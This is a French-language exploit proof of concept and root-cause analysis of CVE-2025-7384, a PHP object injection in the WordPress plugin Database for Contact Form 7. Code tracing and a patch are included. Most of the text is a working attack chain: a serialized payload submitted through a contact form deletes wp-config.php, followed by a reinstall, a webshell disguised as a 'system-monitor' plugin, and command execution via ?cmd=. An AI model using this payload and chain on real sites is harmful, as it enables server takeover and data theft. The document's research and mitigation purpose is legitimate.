
Exploit PoC et analyse de la cause racine d'une injection d'objet PHP non authentifiée critique dans WordPress Database for Contact Form 7, menant à une exécution de code à distance (RCE) via la suppression arbitraire de fichiers.
Plugin : Database for Contact Form 7 (contact-form-entries) ≤ 1.4.3
CVSS : 9.8 (Critique)
CWE : CWE-502 — Désérialisation de données non fiables
Exigence d'authentification : Aucune (non authentifié)
Impact : Exécution de code à distance
Le plugin « Database for Contact Form 7 » (slug : contact-form-entries) version 1.4.3 et inférieures contient une vulnérabilité d'injection d'objets PHP. Lorsqu'un administrateur WordPress consulte un enregistrement de formulaire (entrée) dans le panneau d'administration, le plugin appelle la fonction maybe_unserialize() directement sur des données soumises par un utilisateur non authentifié via Contact Form 7, sans contrôler la liste des classes autorisées à être instanciées.
Un attaquant n'a pas besoin de se connecter — il lui suffit de soumettre un formulaire de contact classique en insérant un objet PHP sérialisé dans n'importe quel champ du formulaire. Ces données sont stockées brutes dans la base de données. Lorsqu'un administrateur ouvre l'entrée pour la consulter, la fonction de désérialisation instancie un objet choisi par l'attaquant, déclenchant des méthodes magiques comme __destruct() ou __wakeup() → exécution d'un comportement arbitraire selon les gadgets POP disponibles dans l'environnement WordPress.
Niveau de gravité : Avec un gadget POP approprié (par exemple, une classe dont la méthode
__destruct()appelleunlink()), un attaquant peut supprimer le fichierwp-config.php, ramenant WordPress à son écran d'installation initial → réinstallation avec un compte administrateur contrôlé par l'attaquant → installation d'un plugin contenant une webshell → obtention d'une exécution de code à distance (RCE) complète sur le serveur.
| Attribut | Valeur |
|---|---|
| Identifiant CVE | CVE-2025-7384 |
| Score CVSS | 9.8 (Critique) |
| CWE | CWE-502 — Désérialisation de données non fiables |
| Plugin concerné | contact-form-entries (Database for Contact Form 7) ≤ 1.4.3 |
| Exigence d'authentification | Aucune — toute personne soumettant un formulaire CF7 peut injecter la charge utile |
| Condition de déclenchement | L'administrateur consulte l'entrée injectée dans le panneau d'administration |
| Impact maximal | Exécution de code à distance non authentifiée |
| Version corrigée | 1.4.4+ (remplace unserialize par json_decode ou allowed_classes: false) |
PHP utilise serialize() pour convertir un objet en une chaîne de texte structurée, et unserialize() pour restaurer l'objet à partir de cette chaîne. Lorsque unserialize() reçoit des données provenant d'une source non fiable (par exemple, une entrée utilisateur), un attaquant peut construire un objet arbitraire appartenant à n'importe quelle classe actuellement chargée en mémoire PHP à ce moment-là.
Méthodes spéciales que PHP invoque automatiquement durant le cycle de vie d'un objet. Les plus importantes dans ce contexte :
__wakeup() — invoquée immédiatement lorsqu'un objet est désérialisé__destruct() — invoquée lorsqu'un objet est détruit (sort de la portée, ou la requête se termine)__toString() — invoquée lorsqu'un objet est converti en chaîne de caractèresUne technique consistant à enchaîner plusieurs méthodes magiques de classes existantes dans l'application pour construire une séquence dangereuse de comportements. L'attaquant n'écrit pas de nouveau code — il ne manipule que les propriétés d'objets existants afin que, lorsque les méthodes magiques s'exécutent, elles effectuent des actions non voulues par les développeurs.
maybe_unserialize() dans WordPressUne fonction d'encapsulation (wrapper) du noyau WordPress. Elle appelle is_serialized() pour vérifier si une chaîne est des données sérialisées — si c'est le cas, elle appelle unserialize() pour restaurer l'objet. Problème : cette fonction ne passe pas le paramètre allowed_classes (disponible depuis PHP 7.0) pour limiter les classes autorisées à l'instanciation.
Commencez par parcourir l'ensemble du code source du plugin avec grep pour localiser les fonctions de désérialisation — ce sont les fonctions les plus dangereuses en PHP car elles peuvent mener à une injection d'objets :
grep -rn "unserialize" wp-src/wp-content/plugins/contact-form-entries/

La sortie révèle plusieurs points d'appel de maybe_unserialize(), notamment dans includes/data.php à la ligne 545 au sein de la fonction verify_val() :

// data.php lines 538-548
public function verify_val($string){
if(in_array(substr(ltrim($string),0,1), array('{','['))
&& in_array(substr(rtrim($string),-1), array('}',']'))
){
$val = json_decode($string, 1);
if(is_array($val)){ $string = $val; }
} else if(is_serialized($string)){ // line 544
$string = maybe_unserialize($string); // ★ line 545 — SINK
}
return $string;
}
Question clé : D'où provient la variable $string ? Si elle provient d'une entrée utilisateur sans filtrage → c'est une vulnérabilité.
Trouvez où verify_val() est appelée. Tracez en arrière dans le même fichier data.php :

// data.php lines 520-535
public function get_lead_detail($lead_id){
global $wpdb;
$table = $wpdb->prefix . 'vxcf_leads_detail';
$detail_arr = $wpdb->get_results(
$wpdb->prepare("SELECT * FROM $table WHERE lead_id=%d", $lead_id),
ARRAY_A
);
foreach($detail_arr as $k => $v){
if(!empty($v['value'])){
$detail_arr[$k]['value'] = $this->verify_val($v['value']); // ← calls verify_val
}
}
return $detail_arr;
}
→ $string correspond exactement à $v['value'] — les valeurs extraites de la table wp_vxcf_leads_detail. Cette fonction est appelée lorsqu'un administrateur consulte les détails d'une entrée de formulaire.
Question suivante : D'où proviennent les données dans wp_vxcf_leads_detail ? Qui les écrit ?
D'après l'étape 2, les données sont lues depuis la base de données. Question suivante : qui y écrit des données ? Recherchez les requêtes INSERT dans data.php :
grep -rn "insert" wp-src/wp-content/plugins/contact-form-entries/includes/data.php

Ouvrez le code de la fonction create_lead() (lignes 85-103) pour plus de détails :

Aux lignes 98-99, la valeur $v — qui correspond au contenu d'un champ de formulaire (par exemple, your-message) — est insérée directement dans la base de données via $wpdb->insert(). Le plugin se branche sur l'événement wpcf7_before_send_mail de Contact Form 7, de sorte que chaque fois qu'un utilisateur soumet un formulaire, tous les champs sont stockés bruts.
Vérification supplémentaire : le plugin utilise bien sanitize_text_field() et sanitize_textarea_field() avant l'enregistrement, mais ces deux fonctions ne font que supprimer les balises HTML et les caractères HTML spéciaux — une charge utile sérialisée comme O:21:"VulnerableFileHandler":2:{...} ne contient aucune balise HTML et passe donc intégralement sans être modifiée.
À ce stade, le flux complet est établi :
Un utilisateur non authentifié soumet un formulaire CF7 (le champ your-message contient un objet sérialisé)
↓ sanitize_text_field() — NE BLOQUE PAS les chaînes sérialisées
Enregistré dans la table wp_vxcf_leads_detail (charge utile brute)
↓
L'administrateur consulte l'entrée → get_lead_detail() → verify_val()
↓ is_serialized() retourne true
maybe_unserialize($string) — ligne 545 → PHP instancie un objet arbitraire
↓
Le __destruct() de l'objet s'exécute → effectue une action contrôlée par l'attaquant
Cause racine : La fonction
maybe_unserialize()àdata.php:545est appelée sur des données provenant d'une entrée utilisateur non authentifiée, sans passerallowed_classes: false. Un attaquant n'a qu'à soumettre un objet PHP sérialisé via le champyour-messaged'un formulaire CF7 → lorsqu'un administrateur consulte l'entrée, PHP instancie cet objet et déclenche la méthode magique__destruct().
Pour une preuve visuelle, placez un point d'arrêt avec Xdebug à la ligne 545 de data.php. Après avoir injecté la charge utile via le formulaire et fait consulter l'entrée par l'administrateur, le débogueur s'arrête exactement sur maybe_unserialize() :

Panneau des variables affiche $string contenant la charge utile de l'attaquant :
$string = "O:21:\"VulnerableFileHandler\":2:{s:9:\"file_path\";s:27:\"/var/www/html/wp-config.php\";s:7:\"cleanup\";b:1;}" → la charge utile a voyagé du formulaire → base de données → fonction de désérialisation sans être bloquéeLigne d'exécution :
$string=maybe_unserialize($string);Pile d'appels montre la séquence d'appels de fonctions :
vxcf_form_data->verify_val data.php:545
vxcf_form_data->get_entries data.php:388
vxcf_form::get_entries contact-form-entries.php:2682
vxcf_form_pages->entries_page plugin-pages.php:1017
...
WP_Hook->apply_filters class-wp-hook.php:324
WP_Hook->do_action class-wp-hook.php:348
→ Confirme le flux analysé exactement : l'administrateur consulte l'entrée → get_entries() → verify_val() → maybe_unserialize().
La chaîne d'attaque comprend 5 étapes. L'attaquant n'a besoin d'exécuter que l'étape 1 (soumission du formulaire). Les étapes 2 à 5 se produisent automatiquement après qu'un administrateur consulte l'entrée.
L'attaquant soumet un formulaire CF7 avec un objet PHP sérialisé dans le champ du message.
POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedbackyour-message contient : O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}wp_vxcf_leads_detail — sanitize_text_field() ne bloque pas les chaînes sérialiséesL'administrateur ouvre la page Contact Form Entries → consulte les détails de l'entrée → le plugin appelle verify_val() → maybe_unserialize().
VulnerableFileHandler avec file_path = "/var/www/html/wp-config.php" et cleanup = true__destruct() → unlink("/var/www/html/wp-config.php")Le fichier wp-config.php est supprimé → WordPress perd la connexion à la base de données.
http://target/ → redirige automatiquement vers /wp-admin/setup-config.php (écran d'installation initial)L'attaquant réinstalle WordPress en utilisant des identifiants de base de données connus (ou obtenus par force brute).
Installez un plugin contenant une webshell → exécutez des commandes système arbitraires.
/wp-content/plugins/shell/shell.php?cmd=iduid=33(www-data) gid=33(www-data) → RCE terminéeDémarrez le laboratoire Docker contenant WordPress + le plugin vulnérable :
cd CVE-2025-7384
docker-compose up --build -d
Attendez environ 40 secondes jusqu'à ce que les journaux affichent LAB READY. Accédez à http://localhost:8181 pour vérifier que WordPress fonctionne.
D'après l'analyse du code source de la section 3, nous savons :
data.php:545 — maybe_unserialize() sur les valeurs des champs de formulairewp_vxcf_leads_detail — les données proviennent du formulaire CF7sanitize_text_field() — ne bloque pas les chaînes sérialisées→ Conclusion : il suffit de soumettre un objet PHP sérialisé dans n'importe quel champ du formulaire CF7. Choisissez your-message car c'est une zone de texte, qui accepte les chaînes longues et qui subit moins de validation de format (contrairement à your-email qui exige un format e-mail).
Accédez à http://localhost:8181/contact/ et remplissez le formulaire comme suit :
| Champ | Valeur |
|---|---|
| Votre nom | dung |
| Votre e-mail | [email protected] |
| Sujet | test inject |
| Votre message | O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;} |

Explication de la charge utile :
O:21:"VulnerableFileHandler" — instancie la classe VulnerableFileHandler (dont __destruct() appelle unlink())s:9:"file_path";s:27:"/var/www/html/wp-config.php" — la propriété file_path pointe vers le fichier cible à supprimers:7:"cleanup";b:1 — la propriété cleanup = true pour que __destruct() exécute unlink()Cliquez sur Envoyer. Le formulaire affiche un message d'erreur d'envoi d'e-mail (ou de succès) — peu importe, car le plugin contact-form-entries a déjà enregistré toutes les données dans la base avant l'envoi du courrier.
Connectez-vous à http://localhost:8181/wp-admin (admin / admin123) → dans le menu de gauche, sélectionnez CRM Entries → cliquez pour voir l'entrée reçue.

C'est le moment exact où l'exécution atteint data.php:545 — le plugin récupère la valeur your-message depuis la base de données, le test is_serialized() retourne true, appelle maybe_unserialize() → PHP crée l'objet VulnerableFileHandler → la requête se termine, __destruct() s'exécute → unlink("/var/www/html/wp-config.php").
Naviguez vers http://localhost:8181/ dans le navigateur → WordPress redirige vers la page /wp-admin/setup-config.php (écran d'installation initial) → le fichier wp-config.php est bien supprimé.

Avec wp-config.php supprimé, WordPress revient à l'état non installé. Étapes de l'attaquant :
Étape 1 — Réinstaller WordPress :
Accédez à http://localhost:8181/wp-admin/setup-config.php → saisissez les identifiants de la base de données :
| Champ | Valeur |
|---|---|
| Nom de la base de données | wordpress |
| Nom d'utilisateur | wpuser |
| Mot de passe | wppass |
| Hôte de la base de données | db |
| Préfixe des tables | wp_ |
Cliquez sur Envoyer → Exécutez l'installation → créez un nouveau compte administrateur contrôlé par l'attaquant.
Étape 2 — Téléverser la webshell :
Connectez-vous au tableau de bord d'administration → Extensions → Ajouter → Téléverser une extension → téléversez le fichier system-health.zip (ou system-monitor.zip).

Téléversement et activation réussis.
Étape 3 — Exécuter des commandes (RCE) :
Accédez : http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=id

Sortie : uid=33(www-data) gid=33(www-data) → Exécution de code à distance terminée
Accédez : http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=whoami

Sortie : www-data → Exécution de code à distance terminée
| Métrique CVSS | Valeur | Explication |
|---|---|---|
| Vecteur d'attaque | Réseau | Exploitable via HTTP, aucun accès physique nécessaire |
| Complexité de l'attaque | Faible | Nécessite uniquement l'envoi d'une requête POST contenant la charge utile |
| Privilèges requis | Aucun | Aucune authentification requise — le formulaire CF7 est accessible au public |
| Interaction de l'utilisateur | Aucune* | L'administrateur consulte les entrées dans le cadre de son travail habituel |
| Confidentialité | Élevée | La RCE permet de lire n'importe quel fichier sur le serveur |
| Intégrité | Élevée | La RCE permet d'écrire/modifier n'importe quel fichier |
| Disponibilité | Élevée | La suppression de wp-config.php fait planter tout le site |
*Interaction de l'utilisateur : la NVD l'évalue comme « Aucune » car le fait qu'un administrateur consulte les entrées de formulaire est un comportement attendu, et non une interaction anormale de l'utilisateur.
N'utilisez pas maybe_unserialize() sur des données fournies par l'utilisateur. Utilisez plutôt json_decode() lorsqu'un stockage structuré des données est nécessaire.
Si la désérialisation est strictement nécessaire, fournissez l'option allowed_classes: false (PHP 7.0+) :
$data = unserialize($string, ['allowed_classes' => false]);
Cela empêche PHP d'instancier un objet quelconque — seuls les types scalaires et les tableaux sont autorisés.
/^[OaCis]:\d+/ (indicateur de données sérialisées).wp_vxcf_leads_detail pour détecter les entrées contenant des chaînes au format O:XX:"ClassName": — leur présence indique des tentatives d'attaquewp-config.php a des permissions restrictives (440 ou 400) — réduisant la probabilité de suppression par le processus du serveur web// BEFORE (vulnerable):
} else if(is_serialized($string)){
$string = maybe_unserialize($string);
}
// AFTER (patched):
} else if(is_serialized($string)){
$string = json_decode(json_encode(
unserialize($string, ['allowed_classes' => false])
), true);
}